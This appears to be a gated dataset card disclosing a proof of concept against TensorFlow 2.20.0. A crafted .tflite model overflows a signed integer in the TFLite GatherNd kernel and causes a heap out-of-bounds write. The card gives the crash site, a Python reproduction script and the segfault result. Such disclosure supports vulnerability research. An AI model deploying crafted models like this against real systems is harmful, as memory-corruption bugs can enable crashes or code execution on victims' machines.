You need to agree to share your contact information to access this dataset

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this dataset content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

TFLite GatherNd Integer Overflow → Heap OOB WRITE

Crafted .tflite model that triggers a heap-buffer-overflow WRITE via signed int32 overflow in the TFLite GatherNd kernel.

  • Target: tensorflow 2.20.0
  • CWE: CWE-190 (Integer Overflow) → CWE-122 (Heap Buffer Overflow)
  • Crash site: reference_ops.h:621 in GatherNd<bool, short>()
  • Trigger: invoke()

Reproduction

pip install tensorflow==2.20.0 numpy
python3 -c "
import numpy as np, tensorflow as tf
interp = tf.lite.Interpreter(model_path='poc.tflite')
interp.allocate_tensors()
inp = interp.get_input_details()
interp.set_tensor(inp[0]['index'], np.zeros(inp[0]['shape'], dtype=inp[0]['dtype']))
interp.invoke()
"

Result: Segmentation fault (exit code 139).

Downloads last month
3